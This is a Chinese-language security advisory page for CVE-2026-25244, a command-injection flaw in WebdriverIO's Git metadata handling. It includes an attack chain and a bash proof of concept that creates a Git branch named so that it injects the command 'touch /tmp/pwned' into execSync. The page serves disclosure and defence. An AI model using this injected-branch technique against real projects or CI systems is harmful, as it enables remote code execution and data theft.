IPBUF安全漏洞报告
English
CVE-2026-25244 CVSS 9.8 严重

CVE-2026-25244 WebdriverIO 命令注入漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-25244
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WebdriverIO

相关标签

RCECommand InjectionWebdriverIOCVE-2026-25244CI/CD

漏洞概述

WebdriverIO 在 9.24.0 之前的版本中存在严重漏洞。当处理包含恶意分支名称的 Git 仓库时,`getGitMetadataForAISelection` 函数未对分支名进行清理,直接将其传递给 `execSync`。这导致命令注入,允许攻击者在 CI/CD 环境或开发者机器上执行任意代码,进而窃取敏感信息或破坏系统。

技术细节

该漏洞源于 WebdriverIO 在处理测试编排选项时的安全疏忽。Git 允许分支名称包含 shell 元字符(如 `;`, `&`, `|` 等)。WebdriverIO 的 `getGitMetadataForAISelection()` 函数在获取 Git 元数据时,直接将仓库的分支名称插值到 `execSync()` 系统调用中,且未经过任何输入验证或清理。攻击者可以通过诱导项目引用恶意的 Git 仓库(通过 `testOrchestrationOptions.runSmartSelection.source` 配置),构造一个包含恶意命令的分支名。当测试环境尝试获取该仓库的元数据时,恶意命令将被操作系统 Shell 执行。由于无需用户交互且无需认证,攻击者可轻易接管运行测试的服务器,造成严重后果。

攻击链分析

STEP 1
1. 准备恶意仓库
攻击者创建一个 Git 仓库,并创建一个包含 Shell 元字符和恶意载荷(如反弹 Shell 命令)的分支名。
STEP 2
2. 诱导受害者引用
攻击者诱导受害者将 WebdriverIO 的 `testOrchestrationOptions.runSmartSelection.source` 指向该恶意仓库,或将其作为项目依赖。
STEP 3
3. 触发漏洞
当 WebdriverIO 运行测试并调用 `getGitMetadataForAISelection()` 函数时,它会读取当前的 Git 分支名。
STEP 4
4. 命令执行
分支名被直接传递给 `execSync()`,导致 Shell 解析并执行分支名中嵌入的恶意命令。
STEP 5
5. 系统沦陷
攻击者在 CI/CD 服务器或开发者机器上获得远程代码执行权限,可窃取数据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC: Create a malicious Git repository to exploit CVE-2026-25244 # The branch name contains a shell command to create a file named 'pwned' REPO_DIR="malicious_repo" rm -rf $REPO_DIR mkdir $REPO_DIR cd $REPO_DIR git init # Create a commit echo "test" > test.txt git add test.txt git config user.email "[email protected]" git config user.name "Attacker" git commit -m "Initial commit" # Create a branch with a malicious payload # The payload executes 'touch /tmp/pwned' when passed to execSync git branch "main; touch /tmp/pwned; #" echo "[+] Malicious repository created at: $(pwd)" echo "[+] Use this repository as source in WebdriverIO test orchestration to trigger."

影响范围

WebdriverIO < 9.24.0

防御指南

临时缓解措施
在无法立即升级的情况下,禁用 WebdriverIO 的智能测试选择功能,避免自动获取不可信仓库的 Git 元数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表